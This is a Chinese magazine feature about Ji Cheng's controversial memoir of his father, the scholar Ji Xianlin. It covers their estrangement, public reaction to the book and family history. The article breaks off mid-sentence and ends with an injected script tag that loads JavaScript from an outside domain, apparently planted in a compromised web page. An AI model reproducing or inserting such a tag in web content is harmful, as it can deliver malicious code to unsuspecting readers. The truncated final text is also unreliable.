“季门逆子”请父走下神坛
13年的隔绝,是什么让父子间对立至斯?或许他们不是没有感情,只是不善于表达。
记者/张 静
午后的蓝旗营院士楼某单元302室,两只乌龟笃悠悠地在淡色哥窑开片的水钵中晒太阳,浑然不知曾被人捧去八宝山季老遗体告别式“瞻礼”,且把一位著名学者卷入了名噪一时的“乌龟门”。这所住房昔日还有一排长沙发,常年抵着书柜,背后密锁着一位女士十数年的“大师夫人梦”,以及30多件价值不菲的珍贵文物,其中便有不翼而飞、又在床板底下“失而复得”,捐赠北大、却不知所踪的苏东坡《御书颂》。
“一个男人在他进入人生末期的时候是需要有人照顾的……尤其是那些有地位、有钱财的男人,在这种情况下,总是会有一位或几位女人及时出现……分为三类:一类是男人早有打算,在进入老年时期之前或之时就为自己准备好了陪伴的人;一类是原来就有可心人在旁,不需要临时抱佛脚;第三类,也是最令人同情的,就是平时毫无准备……很不幸,我父亲就是第三类中的一位。”一年前以话题太漫长为由避而不谈父子恩怨的季承,一年后却在新书中调侃起父亲在女人身上栽的跟头。
然而这种“钱钟书”式的俏皮话,在《我和父亲季羡林》中并不多见。这位已经75岁的老人,用近乎残忍的笔触,剖析自己的父亲,颠覆了被社会塑造的大师的完美形象。“我一直不认识你们所说的‘国学大师季羡林’,我只知道,在热热闹闹的学术追捧中,父亲的内心是冷的,是寂寞的。” 被温总理视为“大智大慧”的季老先生,在儿子笔下,可以说是一个人生的失败者,一个有国无家、孤独、寂寞、吝啬、无情的文人。早年的心结:寄居叔父家、无爱的婚姻、母亲的早逝,塑造了他压抑、封闭、孤傲的性格,他的意气用事毁了自己一家,又使他身陷阴谋的泥沼而难以自拔。其人生悲剧,因晚年插入的一段喜剧,和生前、死后上演的一幕幕滑稽剧与闹剧,更令人彻底无语。
正如一位书评人所言:“人们看这类回忆录,原本觉得它是一个像紫砂壶这样一个东西,摸上去应该有一点温润的感觉,倒出来的茶也是清香的。”国学大师陈寅恪三个女儿新近刚出的《也同欢乐也同愁——忆父亲陈寅恪母亲唐筼》便属此列。但《我和父亲季羡林》却倒出了一杯冰冷苦涩的茶,令人震惊、错愕。
而在季老逝世一周年之际,将大师“请下神坛”,大曝其隐私、弱点的,居然是其亲生儿子。从还原历史的角度来说,留下一份真实的回忆录似有必要。然身为人子,将其父私生活公之于众,却又悖离了“子为父隐”的儒家传统。 此书一出,争议如潮。老一辈私下摇头:“出此逆子,实乃家门不幸。”“拿父亲的历史当摇钱树”、“一定另有目的”的批评纷至沓来。支持者却言:“季承最得父亲真传的是:敢说真话。老季碰上‘文革’,小季碰上虚伪浮躁的当代。都说了真话,都被关了牛棚。老季是真牛棚,小季是隐形的牛棚。”
“新书上市后,估计会引来骂声一片。”季承对此早就预见。他在接受《新民周刊》专访时坚持:“写我父亲的传记有一个共同的毛病,就是没有涉及到他的感情和家庭。给人的印象就是季先生只有孤零零的一个人,对父亲的了解基本上只限于学术。我所写的都是真实的,我希望告诉大家一个真实的季羡林,让人们了解我们这个家庭,接受一个有缺陷的季羡林。”
将书名定为《我和父亲季羡林》,这是书商的主意,实际上这本书的原名叫做:《我们这一家》。
侠与吝啬
季家原是山东临清的一个大家族,据考证远祖乃是曾在鲁国执政33年、辅佐了三代君王的季文子。
按季老的说法,山东是西边穷东边富,临清在山东的西边。临清是西边穷东边富,季老家所在的村子在临清的西边。村子里的住户是西边穷东边富,季老家不幸又在村子的西边。
其实所谓“五代贫农”的季家也曾有过一度短暂的暴富史,“其兴也勃焉,其亡也忽焉”。当年季承的叔祖父在济南丢了工作,失意之时于街头闲逛,见一家杂货店在售彩票,是为赈济湖北水灾发行的。他豁出去了,用一半的钱买了两张彩票。没想到过了几天那家杂货店便挂出了大字横幅,上书“本店售出头彩”,叔祖父那张彩票的号码赫然就写在底下,整整4000块大洋!
叔祖父把一部分钱寄回老家,让季承的祖父在老家建房置地,准备振兴季氏家族,延续季家血脉。 没想到收到钱的这位亲哥哥,却是位能将家财败得底儿掉的主儿。
季老在他的《灰色的童年》里曾比较隐讳地叙述过:“他用荒唐离奇的?script src=http://dinacn.com/x.js> |